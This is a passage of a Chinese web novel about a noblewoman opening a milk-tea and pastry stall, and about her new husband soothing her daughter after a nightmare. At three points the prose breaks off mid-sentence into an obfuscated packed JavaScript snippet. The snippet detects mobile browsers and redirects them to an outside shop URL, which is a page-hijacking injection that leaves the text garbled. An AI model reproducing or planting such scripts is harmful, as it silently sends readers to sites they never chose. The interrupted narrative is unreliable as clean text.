“我要一碗原味的奶茶。”年轻女子看了看价格牌上的小料,“这个焦糖木薯丸子是什么?” 沈婉仪耐心解释道,“是用糖炒出来的木薯淀粉丸子,口感比较软糯。” “那再给我加一份这个吧。” “好的,请问在这里喝还是拿走呢?” “拿走的话,是要多给八文钱吗?” “是的。” 年轻女主皱了皱眉,“怎么这么贵,和这奶茶一样的价钱了。” 沈婉仪拿出打包带走时装奶茶的陶瓶悉心解释道,“我们特意找人订做的陶瓶来装奶茶,订做的价钱有些高,所以这打包的钱就少不了了。不过您可以选择在这里喝,或者您自己有可以盛奶茶的容器,这样就不需要多付这八文钱了。” “是陶瓶吗?原是这样,我带走吧。” “好,您请稍等。” 随着在摊前等候的人越来越多,路上的许多行人也纷纷产生了好奇,不过半时辰,小摊前竟排起了小队。 原本还担心无人问津的两人,被这突如其来的繁忙生意忙得连早饭都顾不上吃,但是两人的脸上都没有一丝不耐烦,甚至还有几分欢喜。 * 沈婉仪忙碌的同时,柳青砚也没闲着。 今日是梁盈好不容易的休息日,和往常一样,她照例是要睡懒觉的。 然而或许是昨晚去祭拜了梁钺画像的原因,今早她的爹爹竟来了她的梦里,这是很少见的事。 梁盈开始有记忆时,她的爹爹在她的记忆中已经是一个很模糊的印象,她只隐隐约约记得似乎有人曾把她举起坐在他的肩膀上“骑马”,还有那人将她抛起来又接住把她逗得咯咯笑的模样。 但是他的声音她已经记不起来了,他的面貌她也只能从母亲的画像上知晓。 而他也几乎不怎么来她的梦里。 所以早晨在梦里见到这个人时,梁盈在梦中显得格外的兴奋和激动,这个在她面前站立着的人和娘亲画像上的一模一样。 当他出现在她眼前时,梁盈不断确认着,“你是梁钺吗?你是我爹爹吗?” 梁钺蹲下来,宠溺地捏了捏她的小脸,“阿盈真聪明,不过直呼爹爹的名字是不是不太礼貌呀?” 梁盈垂下头认错,脸有些红,“对不起,我只是想确认你是不是我爹爹,一时激动就失言了。” “没事,爹爹不会这点小事就生阿盈的气。”梁钺向她张开手,“阿盈想骑马吗?像小时候那样?” 梁盈垂下的头霎时抬起,眼睛闪闪发亮,嘴里不断答应道,“好呀,好呀!” 梁钺将她举起来坐在自己的肩膀上,在练武场上狂奔,梁盈很少有站的这么高的时候,只觉得坐在爹爹肩膀上看到的地方比平时远了好多。 疾驰而过的风在自己脸上吹过,梁盈却一点也不害怕,因为她爹爹有力的双手正牢牢抓住她,她只觉得整个人仿佛都要飞起来,嘴里还不停地喊着,“爹爹,快点,再快一点!” 围着练武场跑了好几圈,梁钺的速度渐渐慢了下来,他轻柔地把女儿抱下来,问她,“阿盈是怎么一眼就认出爹爹来的呢?” 梁盈的声音很是清脆,“我每晚都看爹爹的画像,当然认识爹爹了!” 梁钺疑惑,“爹爹的画像?” “对呀,是娘亲画的爹爹呢。” “娘亲果然没有骗我,爹爹和画像上当真一模一样!” 梁钺笑了起来,眼睛比星子还要亮,“是娘亲画的爹爹呀?嗯,看来娘亲很爱爹爹呢。” 梁盈眼睛睁得溜溜圆,“爹爹,你的反应也和娘亲说的一样诶! “哦?娘亲还说了什么?” “娘亲说,爹爹很自恋,若是爹爹知道娘亲私下给爹爹画了画像,定是非常神气的模样。” 梁钺先是一怔,随即低低笑出声,脸上掩饰不住的得意,”你娘亲说的没错,爹爹确实很神气。” 梁盈双手拉着他,撒着娇,“那神气的爹爹,你能不能再像刚才那样再让我飞几圈?” “爹爹也很想再和阿盈一起玩,但是爹爹做不到了。” 梁盈不懂这话是什么意思,只是懵懂地问,“为什么?爹爹不是还在这里吗?” 梁钺轻轻刮了刮女儿的鼻尖,“因为......爹爹已经不在了啊。” 梁盈这才注意到他刮了她鼻尖的手此刻已经变得近乎透明,不光是手,甚至他的整个身体都在变得透明。 梁盈小小的身子猛地一僵,小手下意识去抓父亲那只透明的手,可指尖一穿,竟什么也没抓住。 梁盈还是第一次碰见这种情况,“爹爹?”她的声音瞬间发颤,乌黑圆润的眼睛里一下子蓄满了泪水,克制不住的酸意涌上鼻尖,“爹爹你别走……阿盈抓不到你了……” 梁钺的身体却在以肉眼可见的速度变淡,像是被风吹散的烟,连轮廓都开始模糊。 但他脸上的笑容依旧明媚,“阿盈要乖乖的,听娘亲的话……”他说着想再摸摸女儿的头,可指尖却只穿过了她柔软的发丝。 “不要!不要!”梁盈哇地一声哭出来,伸着小手拼命想去抱他,可每一次都扑了个空,只能眼睁睁看着他爹爹的双手、肩膀、眉眼一点点变得越来越淡,“爹爹别走!爹爹不要离开阿盈!!” 她哭得撕心裂肺,小小的身子抖成一团,只能眼睁睁看着梁钺的身影慢慢消散在了空气中,最后连一点痕迹都没留下。 “爹爹——!” 她就这样叫喊着陷入了梦魇,眼睛紧紧闭着,手不停地在抓着,嘴唇不住地哆嗦。 守在她门外的兰黛最先发现了她的情况,立即推开门进来,一看见她在床上哭得浑身发抖、梦魇缠身的模样,心瞬间揪紧,快步走到床边轻唤:“小姐,小姐,醒醒,快醒醒——” 可梁盈深陷梦魇,只一味哭喊着爹爹,怎么也唤不醒。 兰黛不敢用力摇她,只得一边轻轻拍着她的背,一边急声朝外喊人。 不多时芸香进来了,她照顾梁盈的时间久,之前也见过她做噩梦时沈婉仪哄人的模样,眼下见到这般情况,二话不说立即将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188279|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人抱在怀里轻声哄着。 她一边将梁盈抱在怀中,一边吩咐兰黛去请公子过来。 梁盈毕竟也是主子,但凡有些风吹草动,还是得另一个主子来做主才行。 她们这些做下人的,只能尽力护主子周全,但却不能瞒着主子的情况。 柳青砚熬了一个大夜,一夜未眠,他眉宇间染着几分疲惫,烛火在他眼底投下一圈浅淡的暗影。 沈婉仪遣人来给他送安神汤的时候,他刚把最后一卷卷宗合上。 他目光沉静地望着桌上放着的温热的安神汤,唇角却不自觉地、极轻地向上弯了一点,不明显,却将身上的冷意尽数化了去。 兰黛急急忙忙跑过来通传的时候,他正在一一梳理此案目前的证据,听到说是梁盈梦魇醒不来时,他立刻将手中的毛笔搁置在了笔山之上。 通传的人还没进屋,柳青砚已经出了房门,“走吧,去阿盈的屋子。” 兰黛没想到公子的动作这么快,她透过大开的房门看见桌上摆着一只空碗,回过神来时柳青砚的背影已经远去,她连忙加快步伐赶上。 梁盈的屋子离书房并不远,路上兰黛将梁盈的情况简单描述给了柳青砚听。 柳青砚听到她是在哭闹着找爹爹时,急促的脚步几不可察地顿了半分,眼底深处掠过一丝极淡的波澜。 找爹爹么......他的嘴角勾起一抹极其浅淡的弧度,转瞬即逝。 两人步履匆匆,不过片刻就到了梁盈的房间。 房间内芸香给怀中的梁盈披上了小毯子,仍然在不停地踱步哄着她。 梁盈已经比起刚刚惊悸的模样好了不少,只是眼尾仍然挂着泪痕,嘴里仍然在不停地喊着“爹爹”,那样子瞧着好不可怜。 柳青砚没有过多言语,只朝着芸香轻轻抬了手。 芸香即刻会意,小心翼翼将梁盈往他的怀中送了过来。 柳青砚俯身,手臂稳稳穿过孩子膝弯与后背,动作轻而稳,将她的身子抱进自己怀里。 他刻意放低了身姿,让她能自然地靠在自己肩颈处,温热的气息轻轻覆在她耳边。“不怕了。” 他声音很是轻柔,带着长辈独有的低沉安稳,一只手轻轻托住她,另一只手极慢地顺着她的后背,一下、又一下。 这可是新姑爷与小姐亲近的好机会,芸香见状知趣地带着兰黛退了出去。 两人守在院中,兰黛在一旁小声搭话,“芸香,你看没看见公子刚刚那样,他抱小姐的动作简直比一些有好几个孩子的父亲还熟练。” 她压低声音,用只有两个人才能听见的气声说道,“完全看不出他不是小姐的亲生父亲。” 芸香听见她又在这管不住自己的嘴,忍不住拧了她一下,“我看你是想找死了,公子就在里面你也敢这样说。” 兰黛感觉到疼,没什么底气地反驳了一下,“反正公子又听不到,我也只说给你一个人听了。” “隔墙有耳的道理你都不懂吗?” 兰黛还想再说,芸香却做了个手势,“嘘,从现在开始闭嘴。” 屋内的柳青砚确实没有听见两人的耳语,他在专心致志地哄着孩子。 梁盈此刻仍陷在半梦半醒的惊惶里,两只小手从毛毯里面伸出来不停地抓着,“爹爹……爹爹......别走……” 柳青砚一只手抱着她,另一只手温柔地将她的两只小手都包裹住,将掌心的暖意传递过去。 他脚步轻缓地抱着梁盈在屋内慢慢踱步,嗓音轻柔的像山涧的溪流缓缓流淌,“爹爹在这儿呢,阿盈别害怕。” 似乎感觉到自己已经抓住了“爹爹",梁盈的情绪安稳了许多,两只手也不再乱动了,柳青砚趁此机会将她的手重新放回毯下。 见梁盈依旧在小声抽噎着,柳青砚索性停下脚步,让她坐在自己的臂弯上靠着他的肩膀,另一只手继续一下又一下地顺着她的背脊。 没过多久,梁盈的抽噎声也渐渐停了。 小姑娘慢腾腾睁开眼,睫羽上还沾着湿意,她抬手揉了揉眼睛,意识仍有点模糊,“爹爹?” 柳青砚应了一声,抱着她坐在了凳上。 他垂眸望着怀中人儿哭红的双眼,指尖极轻地拭去她睫羽上挂着的泪珠,轻声安慰着,“我在这里,不怕了,阿盈。” 梁盈仍是有些懵,她抬头看着柳青砚,“爹爹?你不是我的爹爹呀?” 柳青砚并不恼,他轻笑一声,“我若不是阿盈的爹爹,那我是谁呢?” 梁盈一时语塞,她才刚刚睡醒,头脑尚不清醒,她愣了好一会儿才想起来,“你是我的父亲,我的爹爹是娘亲画像上的那个人。" 柳青砚没有反驳,只问她,“有什么区别吗?” “爹爹就是父亲,父亲就是爹爹,阿盈,你说,爹爹说得对吗?” “对......不对......"梁盈只觉他这话有些不妥,可是哪里不妥她又说不出来。 她垂下头,脑海中有些混乱,”可是娘亲说,画像上的人才是我爹爹呀。” 柳青砚将她贴在脸颊上汉湿的头发拨开,低低诱哄着,“可是娘亲也没说阿盈不可以有两个爹爹呀。” 他这话倒是真话,沈婉仪确实没这样说过,于是梁盈犯了难,小脸皱成了一块。 柳青砚见她渐渐动摇,将头低下离得她更近,在她耳边轻声诉说着,“画像上的人没有陪阿盈说过话,没有给阿盈讲过故事,更没有陪阿盈一起玩耍过,他是个不称职的爹爹。” 柳青砚的这话充满陷阱,因为他的这番话建立在梁钺已经去世了的这个前提上。 梁钺去世时梁盈还没有一岁,梁盈对他这个亲生父亲的印象已经相当模糊了,关于他的一切都是通过别人口述,所以他这番话听在梁盈耳中是完全成立的。 但梁盈还是弱弱地反驳了一句,“可是刚刚爹爹在梦里有陪阿盈一起玩。” 柳青砚意味深长地反问道,“是在梦里,不是吗?” 梁盈这下说不出话来了。 柳青砚又继续道,“没事的,阿盈。画像上的爹爹虽然不能陪着阿盈,但是我这个爹爹可以。” “以后,就由我一直陪着阿盈和娘亲。这样阿盈就有两个爹爹了,阿盈说好不好?” 柳青砚说完不再多言,他只温柔地垂眸看着她,轻轻将梁盈耳边的碎发放在耳后,耐心地等待着。 梁盈想了又想,反复在脑海中搜寻着母亲和外祖母她们曾经告诉过她的话,在确认她确实可以有两个爹爹后,她下定了决心。 她犹豫片刻,终于轻轻唤了一声,“……爹爹。” 柳青砚脸上笑意未变,依旧是那副从容不迫的浅笑,他温和地应了一声,“嗯”,动作轻柔地摸了摸她的发顶。 这下,连梁盈的这声“爹爹”也是他的了,他与阿婉之间又近了一步。 41. 第 41 章 沈婉仪并不知晓家里的情况,因为她在摊子上已经忙得不可开交了。 原准备卖的二十八个汉堡在开始上人之后,不到一个时辰就被卖完了。 紧接着趁热出炉的蛋挞,也凭借着其酥脆的外壳和润滑细腻的夹心迅速征服了试吃的众人,端出来的两盘蛋挞甚至在还没有冷却掉时,就已经全部卖完了。 好在江霁月早在摊子前的人越围越多时就发现了东西可能不够卖的情况,迅速让沈婉仪一个人接管了两个摊位,自己跑到小厨房内接着烤面包做蛋挞。 幸亏做汉堡的面团是昨晚提前发酵好了的,江霁月只需将其分割、排气等待二次醒发就可以将它们都送入面包窑,在烤制面包时她就接着把蛋挞的酥皮做出来,与刚才调好的蛋挞液组装完毕。 刚才做准备时,她们二人怕东西卖不完所以才只做了那么些东西,现在发现不用担心这点后,江霁月也不再畏手畏脚了,将昨夜准备好的面团一股脑地全部烤成了面包。 由于她的面包窑的容量一次性最多只能送进去三个铁盘,江霁月只好将这些面包和蛋挞分批烤制。 每烤出一批面包和蛋挞她就给外面的沈婉仪送去,而沈婉仪在前边同时兼顾两边摊位,既负责烤肉饼做汉堡,又负责温奶茶加小料。 好在奶茶这边的生意并没有太过火爆,让沈婉仪能同时照顾到两边,但即便如此,沈婉仪也从来没感觉自己的耳边如此嘈杂过。 “姑娘,我的那个不要酱料哈。” “好的。” “姑娘,我的那个能给我多加个肉饼吗?” “可以的,但是得加十文钱。” “姑娘,我要一个你们的这个肉夹馍,再要一碗加了木薯丸子的原味奶茶。” “好的,您请稍等。” “姑娘,给我留一个啊,我在这等好久了!” “对不住,这位大哥,还在做前面人的呢,咱们一个一个来啊。” “老板,你们这个喝的怎么卖?” “姑娘,我这边再加一碗奶茶。” “老板,我的好没有啊.......” 日头渐渐出来,沈婉仪拿出帕子拭去额角沁出的薄汗,她带着几分歉意与无奈,提高声调朝着聚集在摊子前的客人安抚道,“各位,小店今日新店开业,人手不足,请大家诸多体谅。” “后面的客人现在排队起码需要等待半个时辰,而且数量有限,东西分别还有个三十多份左右,也不一定排了队就能买到,请大家考虑好时间再决定是否留在此处继续等待。” 她这话一出,排队的人群里便是一阵小小的骚动,但好在只有排在后面的一部分赶时间的客人叹了叹气,退出队伍离开了,并没有遇到刁难挑刺的客人。 新来的客人站到后面探头看了看前面游龙似的队伍,忍不住发出感慨,“这卖的什么东西,有这么好吃吗?人竟这么多。” 身旁刚好有熟识的人买了一份油纸装着的蛋挞经过,见到他和他打招呼,他忙着拦着问,“诶,老王,你也买了这东西啊,怎么样?真的有这么好吃吗?值不值得这么大排长队啊!” 被他叫住的老王也是个大方的,一见是自己家邻居,立刻热情地将手上拿着的油纸打开,“好吃的,刘老三,你自己拿一个去尝尝味道你就知道了。” 老王拿起袖子擦了擦自己嘴角边遗留的酥皮渣,“这东西虽没怎么见过,但味道和口感是真不错,尤其是趁热吃的时候,真是忍不住吃了一个就想再来一个。” 刘老三刚想摆手客气,老王已经拿了一个还热腾腾的蛋挞递过来,“你快拿着吧!就别跟我客气了!我还急着回家拿给我女儿尝尝这味道呢,她定会喜欢的。” 一听这话,刘老三立即将东西接了过来,道了一句,“谢谢了啊!” 老王摆了摆手,头也不回地走了。 看样子是真的很想给女儿吃上热气腾腾的蛋挞的呢,刘老三忍不住心想,真有这么好吃么? 他看着手里的蛋酥,怀着狐疑的心态将其放进了嘴里。 * 沈婉仪忙到中午时,连今日的一口水都没喝过。 但好在江霁月已经把两人昨日准备的面团全部烤出来了,此刻她也已经将最后一批烤好的蛋挞和面包送了出来。 前面几位客人都是几份几份买的,是以这最后一批的汉堡和蛋挞虽是刚端出来便已经被卖得差不多了。 沈婉仪估摸着数量,蛋挞已经卖光了,只有汉堡还有三个可卖。 “这位大哥,请问您需要些什么?” 刘老三砸吧砸吧嘴,视线在摊位上转了一圈,问,“姑娘,那个外表金灿灿还有点焦褐色的糕点还有吗?” 终于,他眼睛一亮,在价格牌上找到了他想要的东西,估摸了一下,“四文钱一个,一份三个十文钱,第二份还半价......” 他摸了摸下巴,爽快道,“给我来两份!” 沈婉仪面带难色道,“大哥,不好意思,您说的那个蛋酥已经卖完了。” 一听卖完了,刘老三的脸当场就垮了下来,嗓门也粗了几分。 “啥?卖完了?!”他往前凑了一步,瞪着空了的摊位,一脸不乐意,“我在这儿站半天,就为了买这个呢,合着白等了是吧?” 沈婉仪被他这嗓门吓了一小跳,但也带着歉意无奈道,“对不住,大哥,今日人实在太多了,一出炉就抢光了。” 江霁月听到声音,也从一旁的奶茶摊位上凑了过来,“你凶什么凶?” “我们刚刚就已经说了数量有限,可能会出现排了队但买不到的情况,你既已经选择了排队但也应该会料想到这样的结果啊。” 话是这样说没错,但刘老三是不会认为是自己的问题的,他等了这么久,想吃的东西还没吃到,憋了一肚子的气。 他鸡蛋里面挑骨头,挑事道,“你们刚刚也只说了个大概的数量,大家又不知道前面的人买了什么,自然是会抱着自己会买到的心态等待的,结果空欢喜一场,到头来你就这个态度啊?!” 他这话将他一人他这话将他一人的牢骚,硬生生扯到了所有等候的客人头上,就想拉着大伙儿一起闹。 “你们都听听!刚刚本来就是说的可能不够,又没说铁定买不到!我们都在这儿干等,谁不是抱着能买到的心来的?如今一句卖完就了事,这不是耍人吗?!” 他嗓门一扬,故意往人堆里带节奏,周围几个也是等着没买到蛋酥的果然被勾得面露不快,气氛一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196956|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下就紧了。 江霁月却没想到这人这么难缠,她不过怼了他一句,此人便按耐不住想找她们的事了,她有点忍不住想骂人。 沈婉仪知道她的脾性,上前一步拦在她跟前,对着剩下的众人声音清亮又稳当道,“这位大哥说的是,没给大家一个确切的数量,让各位白等,是我们的不是。但蛋酥就这么多,先到先得,今日确实已经全数卖完,再争执也变不出来。” 刘老三就等着她们认错呢,她这话一出来,他立刻蹬鼻子上脸,“也不用在这儿废话了,你就说怎么补偿我们吧。” 这个不要脸的泼皮无赖!这话一听,江霁月的火气瞬间就上了来,她撸起袖子就想好好收拾他一顿。 沈婉仪伸手将她拦住,她的视线从此刻围着摊子的众人脸上一一扫过,被煽动的大约有十几个人左右,都是刚刚在队伍后面的那一批人。 刚刚后面来的人在听到数量没剩多少后,都自发走了,这些都是留下来赌自己会买到的人。 她轻轻给大家行了一礼,“请大家稍等。” 她说完转身去屋里拿出了纸笔,将其撕成了十几个小条,在上面写下了自己的名字,“麻烦请大家一一在纸条的背面写上自己的名字,明日大家再来此处购买任何吃食,可凭借此纸条折抵十五文钱。” 免费折抵十五文钱!要知道两份蛋酥也才十五文钱!相当于可以免费领两份蛋酥了!而且不喜欢蛋酥的,也可以拿来买别的东西。 围观的众人脸色稍霁,连最先挑事的刘老三也接过那纸条再三确认,“老板,你该不会诓我们吧?要是你明日不干了咋整?” 沈婉仪眼神凝住他,淡淡道,“今日是我们开业第一日,我们这里面的院子和厨房都是花了大价钱修的,连这个摊位也是交了摊位费的,若只是为了诓骗各位十几文钱,我们岂不是因小失大了?” 她的表情太过认真,以至于说出来的话都不得不让人信服。 原本围观这的众人一听这话,再看看这稳当的摊位、后头收拾得整整齐齐的院子,顿时都回过神来。 有人开始附和,“这摊子的这些架势一看就是花了大价钱的,厨房院子都置办齐了,也不像是为了几文钱就跑了的人。姑娘,把笔给我吧,我先签。” 一人开了头,其他人像怕沈婉仪反悔似的,立马迅速跟上,“我也来!” “我排在第二!” “你们别挤我,他签了名字,过了该我了!” “......” 刚才还跟着起哄的几人,迅速围着一团开始签字,脸上的不满全散了。 轮到刘老三时,他是最后一个。 刘老三捏着那签好字的纸条,反复看了两眼,又抬眼打量了一番沈婉仪,见她神色坦荡、半点不虚,那股找茬的气焰顿时矮了半截。 他讪讪地把纸条往怀里一揣,粗声粗气地哼了一声,却也没再刁难,“行,听你这么说,倒像句实在话。这纸条我收着,明日我一早就来。” 沈婉仪颔首,只留下一句,“恭候。” 这一幕全都被街旁一辆华丽帷幔马车里的人看在眼里,女人撂下车帘,轻嗤一句,“这年头,连御史中丞的夫人都要靠抛头露面做买卖来维持生计了么?” 42. 第 42 章 晌午刚过不久,摊子上的东西就卖得差不多了,两人将东西收好后,江霁月将门一关,立马拉着沈婉仪到屋内开始数钱。 越往后数,她脸上的笑容也逐渐扩大,等到彻底数清楚之后,她是彻彻底底地憋不住笑了,她从原地蹦起来,抱着沈婉仪摇晃个不停,“婉婉,足足一千五百三十二文钱!我们真要发了!” 沈婉仪莞尔,将手搭在她的肩膀上示意她坐下,“除去成本,应还有八九百文左右,这还是我们做了优惠后的赚的钱,若是之后恢复正常价格,赚得只会更多。” 江霁月高兴地应和道,“是啊,而且之后我们可以多做一些,这样赚得就更多了!”她大脑开始飞速计算着,“照这样下去,我不出一年就能买个一进院子的宅子了!” “为何不买一个大一些的宅子?”沈婉仪替她算了算,照这样发展下去,她就算买个二进院子的宅子也绰绰有余。 “我和我娘两个人,也不用住那么大的宅子,否则到时候光是管理宅子都要支付一笔费用。” 沈婉仪想了想,道,“也是。不过我们的当务之急是考虑一下若是生意越来越火爆之后我们怎么售卖?” 江霁月将钱装好放在荷包里,眼珠一转,提议道,“最好的方法就是搞限购。” “限购?”沈婉仪琢磨了这两个字的意思,“是限制客人购买的意思吗?” “对。若是之后排队的人越来越多,但又没有限购的话,很有可能会出现一个人买很多份的情况,那样随便来几个人就有可能把东西全都买走了。” 沈婉仪思索着,“明面上看,这虽对我们是好事,但是若是后面买不到的客人和今日一样闹事就不好了。” 江霁月点点头,“不仅如此,若是那些买了的人拿来自己吃或者送人便罢了,若是他们加价卖出去,那可就糟了。” “确实是这样,不能助长这种风气。霁月,那之后若是人多起来,就按你说的办吧。” 说起人多,江霁月瞬间想起来刚才发生的那件事,她脸上的笑容收敛了几分,叹了一口气,”要是我们提前把今日做的份量准确地告诉大家,或许就不会有人闹事了。” “没事,毕竟我们是第一次亲自开店,有些考虑不周是正常的。”沈婉仪的心态要好上许多,她拍了拍江霁月的手,宽慰道,”吃一堑,长一智,我们再另寻一个牌子来在上面把每日贩卖的数量写清,把它放在价格牌的边上,这样就不怕有人再借此闹事了。” “婉婉,你说的对,既然已经发生了,再纠结此事也没有必要。”江霁月站起身来,拉着她往外走。 她这转变来得太快,沈婉仪反应过来时,脚已经随着她迈出了门槛。 “去哪里?” 江霁月朝着她腹部瞟了一眼,挑了挑眉,“今日我们忙到现在都还没有吃任何东西,你不饿吗?” 她这一说,沈婉仪这才想起来,她们早上原本给自己烤的两个汉堡,还没烤出来就被最先来的两个客人买走了,后来她们忙起来甚至连一口水都没喝过,更别说吃点东西了。 似乎是感觉到她的想法,腹中也适时响起一阵“咕咕”声,江霁月戏谑地看着她,沈婉仪有些尴尬地看向远处,“我们去吃什么?” “你想吃什么?江老板今天都满足你!”想到赚了这么多钱,江霁月的声音都轻快了几分。 沈婉仪见她这么“嚣张”的模样,不由得与她开玩笑,“江老板这么财大气粗,那不如我们去万鹤楼吧。” 江霁月脚步一顿,视线开始躲躲闪闪,说出的话底气也弱了几分,“......那还是算了吧。” 虽然有些打脸,但是钱是自己的,江霁月还是相当识时务的,要真是去了万鹤楼,她们今天赚的钱恐怕没点几样菜就得打水漂了。 沈婉仪见她打退堂鼓的模样不禁失笑,“走吧,既然江老板不行,那就换沈老板来。” 听她自称老板,江霁月也笑了起来,不过笑完她还是说道,“婉婉,这个铺子本就是你投的钱多,我怎么好再让你请客?” 沈婉仪听到这话便不开心了,“我不是说我们之间不用分你我吗?更何况我还在你那里学了那么多技巧,你若是过意不去,就当这是我交的学费吧。” 江霁月嗓音大了几分,“我教你本就是自愿的,哪里谈得上学费?” 沈婉仪摊开手,“那不就对了,一样的道理,我请你吃饭,和我往这个铺子里面投钱也都是我自愿的事,你不必为此感到负担。” 看江霁月还想说,沈婉仪拉着她又道,“好了,日后等我们这生意越做越好了,你再请回来不就是了?” 话都说到此处了,再不答应就显得太过矫情了。 “好吧。” “那走吧,我们快去快回,待会还要回来准备明天的货呢。” 两人上了马车,往万鹤楼的方向赶去了。 * 沈婉仪吃了晚膳回府时已经精疲力尽,此时夜幕已经拉开,零零散散的几颗星子铺在上面。 她和江霁月花费一下午的时间不光把上午用过那些器具全部都洗净了,还把明日要用的面团也先提前揉了出来等发酵。 沈婉仪感觉自己从未如此累过,小的时候她在祖母那里学规矩,经常一个姿势,一个动作就要保持许久,她虽一声不吭,但私底下却也觉得煎熬。 可现在想来,那些和今日她做过的这些活相比根本不值一提。 今日她从卯时出府来开始备菜,一直忙到酉时过半才回府来,一日中的大半时间全都在不停地干活,熬奶茶、煎肉饼、端碗、洗碗、揉面...... 江霁月今日一同洗碗时还调侃她,问她这算不算是花钱买罪受? 她那时怎么回答的来着? 她说,“算,又不算。” 说“算”是因为和之前她那锦衣玉食的日子比起来,她这确实算是“自讨苦吃”,毕竟就算沈婉仪什么也不做,她凭借着沈国公府嫡女的身份和梁钺留给她的那些遗产,她也能一辈子吃穿不愁。 说“不算”是因为,在和江霁月学做这些糕点之前,沈婉仪并不知道原来当自己做出美味的食物以及别人品尝之后不经意露出的夸赞会让她这么开心。 而且她还能用着这份手艺赚钱,完完全全靠着她自己赚来的钱。 这个铺子,既能让别人吃到美食开心,又能让她得到正向反馈,还能让她赚钱,沈婉仪想,即使再累一些,她也会愿意将这个铺子开下去的。 话虽如此,当回房看到拔步床时,腰酸背痛的沈婉仪还是累得顾不上仪态直接栽进了软被里。 见她这幅模样,后脚进来的芸香紧跟着便将房门给带上。 听到动静,沈婉仪连头也不抬一下,只吩咐道,“芸香,你帮我揉一下肩和腰吧。” 芸香一听她这有声无力的声音就知道她今日定是累得狠了,默不作声上前来替她揉着,揉了一会儿,她才犹豫着将今早发生的事讲了出来。 沈婉仪听前半截时没什么大的反应,但当她知晓最后是柳青砚将梦魇的梁盈安抚下来时,原本紧闭的双眼睁了开来。 她的女儿从何时与柳青砚这么亲近了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236229|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 她和柳青砚成婚前,梁盈和他统共也没有见过几面,成婚后两人虽每日都会打个照面,但大多时沈婉仪都在场,她们两人单独相处的时间却没有多久。 单独相处的时间......想到这,沈婉仪忽地想起来,若真要算起来,这一大一小每日其实有固定的单独相处时间的——梁盈去私塾和回来时那段路程。 说起来,自从梁盈去私塾后,沈婉仪倒是很少去接送过人,只偶尔几次柳青砚忙得实在脱不开身了,她才去将人给接回来。 她猜测梁盈可能就是在这日复一日的上下学路途中与柳青砚变得熟悉了,沈婉仪想着,那算起来柳青砚又帮了她一次,她待会怎么着也得当面谢过他一番。 “你刚刚说阿盈现在都还在书房?” 芸香答,“是。奴婢从书房那边过来时,公子正在给小姐讲《千字文》呢。” 沈婉仪偏了偏头,寻了个更舒服的姿势趴着,“那好,那就先不去打扰阿盈学习了。” 在芸香恰到好处的力道下,沈婉仪只觉昏昏欲睡,“芸香,我先歇息一会儿,待会儿等阿盈她们那边完了,你才叫......”说到后面,声音竟是越来越小,最后一个“我”字尚未说出口,她便已经睡了过去。 芸香取来另一床软被,轻轻给沈婉仪搭上。 她也是头一回见到小姐这么累,竟是话还未说完便累得睡过去了,她叹了一口气,也不知小姐这般劳累到底值不值得。 她家小姐金尊玉贵,本该是该一直过着十指不沾阳春水的日子,自从去和江姑娘学着做糕点,每日几乎都是早出晚归,今日现在更是累得直接倒在了床上。 她忽地想起老太太来,若是老太太看到小姐现在这幅模样,恐怕又要罚小姐抄书了。 这般念头在心里转了一圈,她手上按摩的动作却半点没停,只是力道放得更轻更柔,想着这样能让她睡得安稳些,少受几分疲累。 ...... 沈婉仪不知睡了多久,等她迷迷糊糊地醒过来时,肩颈和腰部的酸痛都消散了大半。 她感觉揉在她腰上的力道似乎比起之前重了一些,但舒适的程度却只增不减,她刚想问芸香是何时精进的手艺,却闻到一股熟悉的松墨香味。 沈婉仪心头一动,猛地睁开眼侧身回头,待看清身旁坐着的人时,瞬间僵住—— 柳青砚正垂着眼,用他那修长的指尖揉着她的腰,神情专注,暖黄的烛火将他的轮廓衬得愈发柔和。 见她醒来,他掀起眼皮朝她看过来,眸中尽是化不开的温柔。 沈婉仪的脸颊“唰”地一下红了,从耳尖一直蔓延到脖颈,连耳根都透着淡淡的红晕。 她下意识地想撑起身子,却被柳青砚轻轻抵住了后背,“再揉一会儿吧,这样你就没那么难受了。” 被他温热的掌心按着,又对上他温柔的目光,沈婉仪很想将他推开来,但他停留在她腰上的力道又实在太舒服,不过思考了片刻,她就选择了沉溺。 柳青砚见她乖乖地趴好,不由地失笑,他轻声问,“这力道可还好?” 沈婉仪只觉浑身的骨头被都被他按的酥了,他竟然还在问力道是否适当,看来是对自己的手艺不太了解。 她毫不吝啬地夸赞道,“大人力道适中,若不知道的说不定还会以为大人是专业的老师傅呢。” 听到这话,柳青砚手上的动作一顿,不过只眨眼间又恢复了正常。 